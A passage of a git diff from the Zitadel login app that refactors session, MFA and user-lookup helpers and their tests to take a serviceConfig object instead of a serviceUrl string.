@@ -372,7 +372,7 @@ describe("isSessionValid", () => {
 
       vi.mocked(verifyHelperModule.shouldEnforceMFA).mockReturnValue(false);
 
-      const result = await isSessionValid({ serviceUrl: mockServiceUrl, session });
+      const result = await isSessionValid({ serviceConfig: { baseUrl: mockServiceUrl }, session });
 
       expect(result).toBe(true);
     });
@@ -409,7 +409,7 @@ describe("isSessionValid", () => {
 
       vi.mocked(verifyHelperModule.shouldEnforceMFA).mockReturnValue(false);
 
-      const result = await isSessionValid({ serviceUrl: mockServiceUrl, session });
+      const result = await isSessionValid({ serviceConfig: { baseUrl: mockServiceUrl }, session });
 
       expect(result).toBe(true);
     });
@@ -447,7 +447,7 @@ describe("isSessionValid", () => {
 
       vi.mocked(verifyHelperModule.shouldEnforceMFA).mockReturnValue(true);
 
-      const result = await isSessionValid({ serviceUrl: mockServiceUrl, session });
+      const result = await isSessionValid({ serviceConfig: { baseUrl: mockServiceUrl }, session });
 
       expect(result).toBe(false);
       expect(consoleSpy).toHaveBeenCalledWith(
@@ -499,7 +499,7 @@ describe("isSessionValid", () => {
 
       vi.mocked(verifyHelperModule.shouldEnforceMFA).mockReturnValue(false);
 
-      const result = await isSessionValid({ serviceUrl: mockServiceUrl, session });
+      const result = await isSessionValid({ serviceConfig: { baseUrl: mockServiceUrl }, session });
 
       // This should be true - if it's false, the original bug still exists
       expect(result).toBe(true);
@@ -539,7 +539,7 @@ describe("isSessionValid", () => {
 
       vi.mocked(verifyHelperModule.shouldEnforceMFA).mockReturnValue(false);
 
-      const result = await isSessionValid({ serviceUrl: mockServiceUrl, session });
+      const result = await isSessionValid({ serviceConfig: { baseUrl: mockServiceUrl }, session });
 
       // With our fix, this should be true (session is valid)
       // With the old logic, this would have been false (bug)
@@ -576,7 +576,7 @@ describe("isSessionValid", () => {
 
       vi.mocked(verifyHelperModule.shouldEnforceMFA).mockReturnValue(false);
 
-      const result = await isSessionValid({ serviceUrl: mockServiceUrl, session });
+      const result = await isSessionValid({ serviceConfig: { baseUrl: mockServiceUrl }, session });
 
       expect(result).toBe(true);
     });
@@ -611,7 +611,7 @@ describe("isSessionValid", () => {
 
       vi.mocked(verifyHelperModule.shouldEnforceMFA).mockReturnValue(true);
 
-      const result = await isSessionValid({ serviceUrl: mockServiceUrl, session });
+      const result = await isSessionValid({ serviceConfig: { baseUrl: mockServiceUrl }, session });
 
       expect(result).toBe(false);
       expect(consoleSpy).toHaveBeenCalledWith("Session has no valid multifactor", expect.any(Object));
@@ -647,7 +647,7 @@ describe("isSessionValid", () => {
         forceMfaLocalOnly: false,
       } as any);
 
-      const result = await isSessionValid({ serviceUrl: mockServiceUrl, session });
+      const result = await isSessionValid({ serviceConfig: { baseUrl: mockServiceUrl }, session });
 
       expect(result).toBe(true);
     });
@@ -681,7 +681,7 @@ describe("isSessionValid", () => {
         forceMfaLocalOnly: true,
       } as any);
 
-      const result = await isSessionValid({ serviceUrl: mockServiceUrl, session });
+      const result = await isSessionValid({ serviceConfig: { baseUrl: mockServiceUrl }, session });
 
       expect(result).toBe(true);
     });
@@ -716,15 +716,15 @@ describe("isSessionValid", () => {
 
       vi.mocked(verifyHelperModule.shouldEnforceMFA).mockReturnValue(true);
 
-      const result = await isSessionValid({ serviceUrl: mockServiceUrl, session });
+      const result = await isSessionValid({ serviceConfig: { baseUrl: mockServiceUrl }, session });
 
       expect(result).toBe(false);
       expect(zitadelModule.getLoginSettings).toHaveBeenCalledWith({
-        serviceUrl: mockServiceUrl,
+        serviceConfig: { baseUrl: mockServiceUrl },
         organization: mockOrganizationId,
       });
       expect(zitadelModule.listAuthenticationMethodTypes).toHaveBeenCalledWith({
-        serviceUrl: mockServiceUrl,
+        serviceConfig: { baseUrl: mockServiceUrl },
         userId: mockUserId,
       });
       consoleSpy.mockRestore();
@@ -777,7 +777,7 @@ describe("isSessionValid", () => {
         },
       } as any);
 
-      const result = await isSessionValid({ serviceUrl: mockServiceUrl, session });
+      const result = await isSessionValid({ serviceConfig: { baseUrl: mockServiceUrl }, session });
 
       expect(result).toBe(false);
       expect(consoleSpy).toHaveBeenCalledWith(
@@ -831,7 +831,7 @@ describe("isSessionValid", () => {
         },
       } as any);
 
-      const result = await isSessionValid({ serviceUrl: mockServiceUrl, session });
+      const result = await isSessionValid({ serviceConfig: { baseUrl: mockServiceUrl }, session });
 
       expect(result).toBe(true);
     });
@@ -866,7 +866,7 @@ describe("isSessionValid", () => {
 
       vi.mocked(verifyHelperModule.shouldEnforceMFA).mockReturnValue(false);
 
-      const result = await isSessionValid({ serviceUrl: mockServiceUrl, session });
+      const result = await isSessionValid({ serviceConfig: { baseUrl: mockServiceUrl }, session });
 
       expect(result).toBe(true);
       // getUserByID should not be called when EMAIL_VERIFICATION is disabled
@@ -902,7 +902,7 @@ describe("isSessionValid", () => {
         forceMfaLocalOnly: false,
       } as any);
 
-      const result = await isSessionValid({ serviceUrl: mockServiceUrl, session });
+      const result = await isSessionValid({ serviceConfig: { baseUrl: mockServiceUrl }, session });
 
       expect(result).toBe(true);
     });
@@ -938,12 +938,12 @@ describe("isSessionValid", () => {
         authMethodTypes: [],
       } as any);
 
-      const result = await isSessionValid({ serviceUrl: mockServiceUrl, session });
+      const result = await isSessionValid({ serviceConfig: { baseUrl: mockServiceUrl }, session });
 
       expect(result).toBe(true);
       expect(verifyHelperModule.shouldEnforceMFA).toHaveBeenCalledWith(session, expect.any(Object));
       expect(zitadelModule.getLoginSettings).toHaveBeenCalledWith({
-        serviceUrl: mockServiceUrl,
+        serviceConfig: { baseUrl: mockServiceUrl },
         organization: mockOrganizationId,
       });
     });
@@ -979,16 +979,16 @@ describe("isSessionValid", () => {
         authMethodTypes: [AuthenticationMethodType.TOTP, AuthenticationMethodType.OTP_EMAIL],
       } as any);
 
-      const result = await isSessionValid({ serviceUrl: mockServiceUrl, session });
+      const result = await isSessionValid({ serviceConfig: { baseUrl: mockServiceUrl }, session });
 
       expect(result).toBe(false);
       expect(verifyHelperModule.shouldEnforceMFA).toHaveBeenCalledWith(session, expect.any(Object));
       expect(zitadelModule.getLoginSettings).toHaveBeenCalledWith({
-        serviceUrl: mockServiceUrl,
+        serviceConfig: { baseUrl: mockServiceUrl },
         organization: mockOrganizationId,
       });
       expect(zitadelModule.listAuthenticationMethodTypes).toHaveBeenCalledWith({
-        serviceUrl: mockServiceUrl,
+        serviceConfig: { baseUrl: mockServiceUrl },
         userId: mockUserId,
       });
     });
@@ -1024,12 +1024,12 @@ describe("isSessionValid", () => {
         authMethodTypes: [AuthenticationMethodType.TOTP, AuthenticationMethodType.OTP_EMAIL],
       } as any);
 
-      const result = await isSessionValid({ serviceUrl: mockServiceUrl, session });
+      const result = await isSessionValid({ serviceConfig: { baseUrl: mockServiceUrl }, session });
 
       expect(result).toBe(true);
       expect(verifyHelperModule.shouldEnforceMFA).toHaveBeenCalledWith(session, expect.any(Object));
       expect(zitadelModule.getLoginSettings).toHaveBeenCalledWith({
-        serviceUrl: mockServiceUrl,
+        serviceConfig: { baseUrl: mockServiceUrl },
         organization: mockOrganizationId,
       });
       // Should not call listAuthenticationMethodTypes since shouldEnforceMFA returned false
@@ -1067,7 +1067,7 @@ describe("isSessionValid", () => {
         authMethodTypes: [AuthenticationMethodType.TOTP],
       } as any);
 
-      const result = await isSessionValid({ serviceUrl: mockServiceUrl, session });
+      const result = await isSessionValid({ serviceConfig: { baseUrl: mockServiceUrl }, session });
 
       expect(result).toBe(true);
     });
@@ -1105,12 +1105,12 @@ describe("isSessionValid", () => {
         authMethodTypes: [AuthenticationMethodType.TOTP],
       } as any);
 
-      const result = await isSessionValid({ serviceUrl: mockServiceUrl, session });
+      const result = await isSessionValid({ serviceConfig: { baseUrl: mockServiceUrl }, session });
 
       expect(result).toBe(true);
       expect(verifyHelperModule.shouldEnforceMFA).toHaveBeenCalledWith(session, expect.any(Object));
       expect(zitadelModule.getLoginSettings).toHaveBeenCalledWith({
-        serviceUrl: mockServiceUrl,
+        serviceConfig: { baseUrl: mockServiceUrl },
         organization: mockOrganizationId,
       });
       // Should not call listAuthenticationMethodTypes since shouldEnforceMFA returned false
@@ -1146,7 +1146,7 @@ describe("isSessionValid", () => {
         forceMfaLocalOnly: false,
       } as any);
 
-      const result = await isSessionValid({ serviceUrl: mockServiceUrl, session });
+      const result = await isSessionValid({ serviceConfig: { baseUrl: mockServiceUrl }, session });
 
       expect(result).toBe(true);
     });
diff --git a/apps/login/src/lib/session.ts b/apps/login/src/lib/session.ts
index 83bca3d15bd..53c49c8dbbd 100644
--- a/apps/login/src/lib/session.ts
+++ b/apps/login/src/lib/session.ts
@@ -6,37 +6,30 @@ import { GetSessionResponse } from "@zitadel/proto/zitadel/session/v2/session_se
 import { AuthenticationMethodType } from "@zitadel/proto/zitadel/user/v2/user_service_pb";
 import { getMostRecentCookieWithLoginname } from "./cookies";
 import { shouldEnforceMFA } from "./verify-helper";
-import { getLoginSettings, getSession, getUserByID, listAuthenticationMethodTypes } from "./zitadel";
+import { getLoginSettings, getSession, getUserByID, listAuthenticationMethodTypes, ServiceConfig } from "./zitadel";
 
 type LoadMostRecentSessionParams = {
-  serviceUrl: string;
+  serviceConfig: ServiceConfig;
   sessionParams: {
     loginName?: string;
     organization?: string;
   };
 };
 
-export async function loadMostRecentSession({
-  serviceUrl,
-  sessionParams,
-}: LoadMostRecentSessionParams): Promise<Session | undefined> {
+export async function loadMostRecentSession({ serviceConfig, sessionParams }: LoadMostRecentSessionParams): Promise<Session | undefined> {
   const recent = await getMostRecentCookieWithLoginname({
     loginName: sessionParams.loginName,
     organization: sessionParams.organization,
   });
 
-  return getSession({
-    serviceUrl,
-    sessionId: recent.id,
-    sessionToken: recent.token,
-  }).then((resp: GetSessionResponse) => resp.session);
+  return getSession({ serviceConfig, sessionId: recent.id, sessionToken: recent.token }).then((resp: GetSessionResponse) => resp.session);
 }
 
 /**
  * mfa is required, session is not valid anymore (e.g. session expired, user logged out, etc.)
  * to check for mfa for automatically selected session -> const response = await listAuthenticationMethodTypes(userId);
  **/
-export async function isSessionValid({ serviceUrl, session }: { serviceUrl: string; session: Session }): Promise<boolean> {
+export async function isSessionValid({ serviceConfig, session }: { serviceConfig: ServiceConfig; session: Session }): Promise<boolean> {
   // session can't be checked without user
   if (!session.factors?.user) {
     console.warn("Session has no user");
@@ -51,20 +44,14 @@ export async function isSessionValid({ serviceUrl, session }: { serviceUrl: stri
   const validPasskey = session?.factors?.webAuthN?.verifiedAt;
 
   // Get login settings to determine if MFA is actually required by policy
-  const loginSettings = await getLoginSettings({
-    serviceUrl,
-    organization: session.factors?.user?.organizationId,
-  });
+  const loginSettings = await getLoginSettings({ serviceConfig, organization: session.factors?.user?.organizationId });
 
   // Use the existing shouldEnforceMFA function to determine if MFA is required
   const isMfaRequired = shouldEnforceMFA(session, loginSettings);
 
   // Only enforce MFA validation if MFA is required by policy
   if (isMfaRequired) {
-    const authMethodTypes = await listAuthenticationMethodTypes({
-      serviceUrl,
-      userId: session.factors.user.id,
-    });
+    const authMethodTypes = await listAuthenticationMethodTypes({ serviceConfig, userId: session.factors.user.id });
 
     const authMethods = authMethodTypes.authMethodTypes;
     // Filter to only MFA methods (exclude PASSWORD and PASSKEY)
@@ -134,10 +121,7 @@ export async function isSessionValid({ serviceUrl, session }: { serviceUrl: stri
 
   // Check email verification if EMAIL_VERIFICATION environment variable is enabled
   if (process.env.EMAIL_VERIFICATION === "true") {
-    const userResponse = await getUserByID({
-      serviceUrl,
-      userId: session.factors.user.id,
-    });
+    const userResponse = await getUserByID({ serviceConfig, userId: session.factors.user.id });
 
     const humanUser = userResponse?.user?.type.case === "human" ? userResponse?.user.type.value : undefined;
 
@@ -151,12 +135,12 @@ export async function isSessionValid({ serviceUrl, session }: { serviceUrl: stri
 }
 
 export async function findValidSession({
-  serviceUrl,
+  serviceConfig,
   sessions,
   authRequest,
   samlRequest,
 }: {
-  serviceUrl: string;
+  serviceConfig: ServiceConfig;
   sessions: Session[];
   authRequest?: AuthRequest;
   samlRequest?: SAMLRequest;
@@ -189,7 +173,7 @@ export async function findValidSession({
 
   // return the first valid session according to settings
   for (const session of sessionsWithHint) {
-    if (await isSessionValid({ serviceUrl, session })) {
+    if (await isSessionValid({ serviceConfig, session })) {
       return session;
     }
   }
diff --git a/apps/login/src/lib/verify-helper.ts b/apps/login/src/lib/verify-helper.ts
index 161ed402a13..1a80dd49c65 100644
--- a/apps/login/src/lib/verify-helper.ts
+++ b/apps/login/src/lib/verify-helper.ts
@@ -8,7 +8,7 @@ import crypto from "crypto";
 import moment from "moment";
 import { cookies } from "next/headers";
 import { getFingerprintIdCookie } from "./fingerprint";
-import { getUserByID } from "./zitadel";
+import { getUserByID, ServiceConfig } from "./zitadel";
 
 export function checkPasswordChangeRequired(
   expirySettings: PasswordExpirySettings | undefined,
@@ -82,7 +82,7 @@ export function checkEmailVerification(session: Session, humanUser?: HumanUser,
 }
 
 export async function checkMFAFactors(
-  serviceUrl: string,
+  serviceConfig: ServiceConfig,
   session: Session,
   loginSettings: LoginSettings | undefined,
   authMethods: AuthenticationMethodType[],
@@ -179,10 +179,7 @@ export async function checkMFAFactors(
     session?.factors?.user?.id &&
     shouldEnforceMFA(session, loginSettings)
   ) {
-    const userResponse = await getUserByID({
-      serviceUrl,
-      userId: session.factors?.user?.id,
-    });
+    const userResponse = await getUserByID({ serviceConfig, userId: session.factors?.user?.id });
 
     const humanUser = userResponse?.user?.type.case === "human" ? userResponse?.user.type.value : undefined;
 
diff --git a/apps/login/src/lib/zitadel.ts b/apps/login/src/lib/zitadel.ts
index 8185f49c9bd..72d2ab12f32 100644
--- a/apps/login/src/lib/zitadel.ts
+++ b/apps/login/src/lib/zitadel.ts
@@ -45,15 +45,14 @@ async function cacheWrapper<T>(callback: Promise<T>) {
 }
 
 export async function getHostedLoginTranslation({
-  serviceUrl,
+  serviceConfig,
   organization,
   locale,
-}: {
-  serviceUrl: string;
+}: WithServiceConfig<{
   organization?: string;
   locale?: string;
-}) {
-  const settingsService: Client<typeof SettingsService> = await createServiceForHost(SettingsService, serviceUrl);
+}>) {
+  const settingsService: Client<typeof SettingsService> = await createServiceForHost(SettingsService, serviceConfig);
 
   const callback = settingsService
     .getHostedLoginTranslation(
@@ -78,8 +77,13 @@ export async function getHostedLoginTranslation({
   return useCache ? cacheWrapper(callback) : callback;
 }
 
-export async function getBrandingSettings({ serviceUrl, organization }: { serviceUrl: string; organization?: string }) {
-  const settingsService: Client<typeof SettingsService> = await createServiceForHost(SettingsService, serviceUrl);
+export async function getBrandingSettings({
+  serviceConfig,
+  organization,
+}: WithServiceConfig<{
+  organization?: string;
+}>) {
+  const settingsService: Client<typeof SettingsService> = await createServiceForHost(SettingsService, serviceConfig);
 
   const callback = settingsService
     .getBrandingSettings({ ctx: makeReqCtx(organization) }, {})
@@ -88,8 +92,13 @@ export async function getBrandingSettings({ serviceUrl, organization }: { servic
   return useCache ? cacheWrapper(callback) : callback;
 }
 
-export async function getLoginSettings({ serviceUrl, organization }: { serviceUrl: string; organization?: string }) {
-  const settingsService: Client<typeof SettingsService> = await createServiceForHost(SettingsService, serviceUrl);
+export async function getLoginSettings({
+  serviceConfig,
+  organization,
+}: WithServiceConfig<{
+  organization?: string;
+}>) {
+  const settingsService: Client<typeof SettingsService> = await createServiceForHost(SettingsService, serviceConfig);
 
   const callback = settingsService
     .getLoginSettings({ ctx: makeReqCtx(organization) }, {})
@@ -98,16 +107,16 @@ export async function getLoginSettings({ serviceUrl, organization }: { serviceUr
   return useCache ? cacheWrapper(callback) : callback;
 }
 
-export async function getSecuritySettings({ serviceUrl }: { serviceUrl: string }) {
-  const settingsService: Client<typeof SettingsService> = await createServiceForHost(SettingsService, serviceUrl);
+export async function getSecuritySettings({ serviceConfig }: WithServiceConfig) {
+  const settingsService: Client<typeof SettingsService> = await createServiceForHost(SettingsService, serviceConfig);
 
   const callback = settingsService.getSecuritySettings({}).then((resp) => (resp.settings ? resp.settings : undefined));
 
   return useCache ? cacheWrapper(callback) : callback;
 }
 
-export async function getLockoutSettings({ serviceUrl, orgId }: { serviceUrl: string; orgId?: string }) {
-  const settingsService: Client<typeof SettingsService> = await createServiceForHost(SettingsService, serviceUrl);
+export async function getLockoutSettings({ serviceConfig, orgId }: WithServiceConfig<{ orgId?: string }>) {
+  const settingsService: Client<typeof SettingsService> = await createServiceForHost(SettingsService, serviceConfig);
 
   const callback = settingsService
     .getLockoutSettings({ ctx: makeReqCtx(orgId) }, {})
@@ -116,8 +125,8 @@ export async function getLockoutSettings({ serviceUrl, orgId }: { serviceUrl: st
   return useCache ? cacheWrapper(callback) : callback;
 }
 
-export async function getPasswordExpirySettings({ serviceUrl, orgId }: { serviceUrl: string; orgId?: string }) {
-  const settingsService: Client<typeof SettingsService> = await createServiceForHost(SettingsService, serviceUrl);
+export async function getPasswordExpirySettings({ serviceConfig, orgId }: WithServiceConfig<{ orgId?: string }>) {
+  const settingsService: Client<typeof SettingsService> = await createServiceForHost(SettingsService, serviceConfig);
 
   const callback = settingsService
     .getPasswordExpirySettings({ ctx: makeReqCtx(orgId) }, {})
@@ -126,32 +135,32 @@ export async function getPasswordExpirySettings({ serviceUrl, orgId }: { service
   return useCache ? cacheWrapper(callback) : callback;
 }
 
-export async function listIDPLinks({ serviceUrl, userId }: { serviceUrl: string; userId: string }) {
-  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceUrl);
+export async function listIDPLinks({ serviceConfig, userId }: WithServiceConfig<{ userId: string }>) {
+  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceConfig);
 
   return userService.listIDPLinks({ userId }, {});
 }
 
-export async function addOTPEmail({ serviceUrl, userId }: { serviceUrl: string; userId: string }) {
-  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceUrl);
+export async function addOTPEmail({ serviceConfig, userId }: WithServiceConfig<{ userId: string }>) {
+  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceConfig);
 
   return userService.addOTPEmail({ userId }, {});
 }
 
-export async function addOTPSMS({ serviceUrl, userId }: { serviceUrl: string; userId: string }) {
-  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceUrl);
+export async function addOTPSMS({ serviceConfig, userId }: WithServiceConfig<{ userId: string }>) {
+  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceConfig);
 
   return userService.addOTPSMS({ userId }, {});
 }
 
-export async function registerTOTP({ serviceUrl, userId }: { serviceUrl: string; userId: string }) {
-  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceUrl);
+export async function registerTOTP({ serviceConfig, userId }: WithServiceConfig<{ userId: string }>) {
+  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceConfig);
 
   return userService.registerTOTP({ userId }, {});
 }
 
-export async function getGeneralSettings({ serviceUrl }: { serviceUrl: string }) {
-  const settingsService: Client<typeof SettingsService> = await createServiceForHost(SettingsService, serviceUrl);
+export async function getGeneralSettings({ serviceConfig }: WithServiceConfig) {
+  const settingsService: Client<typeof SettingsService> = await createServiceForHost(SettingsService, serviceConfig);
 
   const callback = settingsService.getGeneralSettings({}, {}).then((resp) => resp.supportedLanguages);
 
@@ -159,13 +168,12 @@ export async function getGeneralSettings({ serviceUrl }: { serviceUrl: string })
 }
 
 export async function getLegalAndSupportSettings({
-  serviceUrl,
+  serviceConfig,
   organization,
-}: {
-  serviceUrl: string;
+}: WithServiceConfig<{
   organization?: string;
-}) {
-  const settingsService: Client<typeof SettingsService> = await createServiceForHost(SettingsService, serviceUrl);
+}>) {
+  const settingsService: Client<typeof SettingsService> = await createServiceForHost(SettingsService, serviceConfig);
 
   const callback = settingsService
     .getLegalAndSupportSettings({ ctx: makeReqCtx(organization) }, {})
@@ -175,13 +183,12 @@ export async function getLegalAndSupportSettings({
 }
 
 export async function getPasswordComplexitySettings({
-  serviceUrl,
+  serviceConfig,
   organization,
-}: {
-  serviceUrl: string;
+}: WithServiceConfig<{
   organization?: string;
-}) {
-  const settingsService: Client<typeof SettingsService> = await createServiceForHost(SettingsService, serviceUrl);
+}>) {
+  const settingsService: Client<typeof SettingsService> = await createServiceForHost(SettingsService, serviceConfig);
 
   const callback = settingsService
     .getPasswordComplexitySettings({ ctx: makeReqCtx(organization) })
@@ -191,15 +198,14 @@ export async function getPasswordComplexitySettings({
 }
 
 export async function createSessionFromChecks({
-  serviceUrl,
+  serviceConfig,
   checks,
   lifetime,
-}: {
-  serviceUrl: string;
+}: WithServiceConfig<{
   checks: Checks;
   lifetime: Duration;
-}) {
-  const sessionService: Client<typeof SessionService> = await createServiceForHost(SessionService, serviceUrl);
+}>) {
+  const sessionService: Client<typeof SessionService> = await createServiceForHost(SessionService, serviceConfig);
 
   const userAgent = await getUserAgent();
 
@@ -207,21 +213,20 @@ export async function createSessionFromChecks({
 }
 
 export async function createSessionForUserIdAndIdpIntent({
-  serviceUrl,
+  serviceConfig,
   userId,
   idpIntent,
   lifetime,
-}: {
-  serviceUrl: string;
+}: WithServiceConfig<{
   userId: string;
   idpIntent: {
     idpIntentId?: string | undefined;
     idpIntentToken?: string | undefined;
   };
   lifetime: Duration;
-}) {
+}>) {
   console.log("Creating session for userId and IDP intent", { userId, idpIntent, lifetime });
-  const sessionService: Client<typeof SessionService> = await createServiceForHost(SessionService, serviceUrl);
+  const sessionService: Client<typeof SessionService> = await createServiceForHost(SessionService, serviceConfig);
 
   const userAgent = await getUserAgent();
 
@@ -241,21 +246,20 @@ export async function createSessionForUserIdAndIdpIntent({
 }
 
 export async function setSession({
-  serviceUrl,
+  serviceConfig,
   sessionId,
   sessionToken,
   challenges,
   checks,
   lifetime,
-}: {
-  serviceUrl: string;
+}: WithServiceConfig<{
   sessionId: string;
   sessionToken: string;
   challenges: RequestChallenges | undefined;
   checks?: Checks;
   lifetime: Duration;
-}) {
-  const sessionService: Client<typeof SessionService> = await createServiceForHost(SessionService, serviceUrl);
+}>) {
+  const sessionService: Client<typeof SessionService> = await createServiceForHost(SessionService, serviceConfig);
 
   return sessionService.setSession(
     {
@@ -271,40 +275,37 @@ export async function setSession({
 }
 
 export async function getSession({
-  serviceUrl,
+  serviceConfig,
   sessionId,
   sessionToken,
-}: {
-  serviceUrl: string;
+}: WithServiceConfig<{
   sessionId: string;
   sessionToken: string;
-}) {
-  const sessionService: Client<typeof SessionService> = await createServiceForHost(SessionService, serviceUrl);
+}>) {
+  const sessionService: Client<typeof SessionService> = await createServiceForHost(SessionService, serviceConfig);
 
   return sessionService.getSession({ sessionId, sessionToken }, {});
 }
 
 export async function deleteSession({
-  serviceUrl,
+  serviceConfig,
   sessionId,
   sessionToken,
-}: {
-  serviceUrl: string;
+}: WithServiceConfig<{
   sessionId: string;
   sessionToken: string;
-}) {
-  const sessionService: Client<typeof SessionService> = await createServiceForHost(SessionService, serviceUrl);
+}>) {
+  const sessionService: Client<typeof SessionService> = await createServiceForHost(SessionService, serviceConfig);
 
   return sessionService.deleteSession({ sessionId, sessionToken }, {});
 }
 
-type ListSessionsCommand = {
-  serviceUrl: string;
+type ListSessionsCommand = WithServiceConfig<{
   ids: string[];
-};
+}>;
 
-export async function listSessions({ serviceUrl, ids }: ListSessionsCommand) {
-  const sessionService: Client<typeof SessionService> = await createServiceForHost(SessionService, serviceUrl);
+export async function listSessions({ serviceConfig, ids }: ListSessionsCommand) {
+  const sessionService: Client<typeof SessionService> = await createServiceForHost(SessionService, serviceConfig);
 
   return sessionService.listSessions(
     {
@@ -321,17 +322,16 @@ export async function listSessions({ serviceUrl, ids }: ListSessionsCommand) {
   );
 }
 
-export type AddHumanUserData = {
-  serviceUrl: string;
+export type AddHumanUserData = WithServiceConfig<{
   firstName: string;
   lastName: string;
   email: string;
   password?: string;
   organization: string;
-};
+}>;
 
-export async function addHumanUser({ serviceUrl, email, firstName, lastName, password, organization }: AddHumanUserData) {
-  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceUrl);
+export async function addHumanUser({ serviceConfig, email, firstName, lastName, password, organization }: AddHumanUserData) {
+  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceConfig);
 
   let addHumanUserRequest: AddHumanUserRequest = create(AddHumanUserRequestSchema, {
     email: {
@@ -360,67 +360,69 @@ export async function addHumanUser({ serviceUrl, email, firstName, lastName, pas
   return userService.addHumanUser(addHumanUserRequest);
 }
 
-export async function addHuman({ serviceUrl, request }: { serviceUrl: string; request: AddHumanUserRequest }) {
-  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceUrl);
+export async function addHuman({ serviceConfig, request }: WithServiceConfig<{ request: AddHumanUserRequest }>) {
+  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceConfig);
 
   return userService.addHumanUser(request);
 }
 
-export async function updateHuman({ serviceUrl, request }: { serviceUrl: string; request: UpdateHumanUserRequest }) {
-  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceUrl);
+export async function updateHuman({
+  serviceConfig,
+  request,
+}: WithServiceConfig<{
+  request: UpdateHumanUserRequest;
+}>) {
+  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceConfig);
 
   return userService.updateHumanUser(request);
 }
 
 export async function verifyTOTPRegistration({
-  serviceUrl,
+  serviceConfig,
   code,
   userId,
-}: {
-  serviceUrl: string;
+}: WithServiceConfig<{
   code: string;
   userId: string;
-}) {
-  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceUrl);
+}>) {
+  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceConfig);
 
   return userService.verifyTOTPRegistration({ code, userId }, {});
 }
 
-export async function getUserByID({ serviceUrl, userId }: { serviceUrl: string; userId: string }) {
-  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceUrl);
+export async function getUserByID({ serviceConfig, userId }: WithServiceConfig<{ userId: string }>) {
+  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceConfig);
 
   return userService.getUserByID({ userId }, {});
 }
 
-export async function humanMFAInitSkipped({ serviceUrl, userId }: { serviceUrl: string; userId: string }) {
-  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceUrl);
+export async function humanMFAInitSkipped({ serviceConfig, userId }: WithServiceConfig<{ userId: string }>) {
+  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceConfig);
 
   return userService.humanMFAInitSkipped({ userId }, {});
 }
 
 export async function verifyInviteCode({
-  serviceUrl,
+  serviceConfig,
   userId,
   verificationCode,
-}: {
-  serviceUrl: string;
+}: WithServiceConfig<{
   userId: string;
   verificationCode: string;
-}) {
-  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceUrl);
+}>) {
+  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceConfig);
 
   return userService.verifyInviteCode({ userId, verificationCode }, {});
 }
 
 export async function sendEmailCode({
-  serviceUrl,
+  serviceConfig,
   userId,
   urlTemplate,
-}: {
-  serviceUrl: string;
+}: WithServiceConfig<{
   userId: string;
   urlTemplate: string;
-}) {
+}>) {
   let medium = create(SendEmailCodeRequestSchema, { userId });
 
   medium = create(SendEmailCodeRequestSchema, {
@@ -433,20 +435,19 @@ export async function sendEmailCode({
     },
   });
 
-  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceUrl);
+  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceConfig);
 
   return userService.sendEmailCode(medium, {});
 }
 
 export async function createInviteCode({
-  serviceUrl,
+  serviceConfig,
   urlTemplate,
   userId,
-}: {
-  serviceUrl: string;
+}: WithServiceConfig<{
   urlTemplate: string;
   userId: string;
-}) {
+}>) {
   let medium = create(SendInviteCodeSchema, {
     applicationName: process.env.NEXT_PUBLIC_APPLICATION_NAME || "Zitadel Login",
   });
@@ -456,7 +457,7 @@ export async function createInviteCode({
     urlTemplate,
   };
 
-  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceUrl);
+  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceConfig);
 
   return userService.createInviteCode(
     {
@@ -470,16 +471,15 @@ export async function createInviteCode({
   );
 }
 
-export type ListUsersCommand = {
-  serviceUrl: string;
+export type ListUsersCommand = WithServiceConfig<{
   loginName?: string;
   userName?: string;
   email?: string;
   phone?: string;
   organizationId?: string;
-};
+}>;
 
-export async function listUsers({ serviceUrl, loginName, userName, phone, email, organizationId }: ListUsersCommand) {
+export async function listUsers({ serviceConfig, loginName, userName, phone, email, organizationId }: ListUsersCommand) {
   const queries: SearchQuery[] = [];
 
   // either use loginName or userName, email, phone
@@ -562,18 +562,17 @@ export async function listUsers({ serviceUrl, loginName, userName, phone, email,
     );
   }
 
-  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceUrl);
+  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceConfig);
 
   return userService.listUsers({ queries });
 }
 
-export type SearchUsersCommand = {
-  serviceUrl: string;
+export type SearchUsersCommand = WithServiceConfig<{
   searchValue: string;
   loginSettings: LoginSettings;
   organizationId?: string;
   suffix?: string;
-};
+}>;
 
 const PhoneQuery = (searchValue: string) =>
   create(SearchQuerySchema, {
@@ -612,7 +611,13 @@ const EmailQuery = (searchValue: string) =>
  * this is a dedicated search function to search for users from the loginname page
  * it searches users based on the loginName or userName and org suffix combination, and falls back to email and phone if no users are found
  *  */
-export async function searchUsers({ serviceUrl, searchValue, loginSettings, organizationId, suffix }: SearchUsersCommand) {
+export async function searchUsers({
+  serviceConfig,
+  searchValue,
+  loginSettings,
+  organizationId,
+  suffix,
+}: SearchUsersCommand) {
   const queries: SearchQuery[] = [];
 
   const t = await getTranslations("zitadel");
@@ -640,7 +645,7 @@ export async function searchUsers({ serviceUrl, searchValue, loginSettings, orga
     );
   }
 
-  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceUrl);
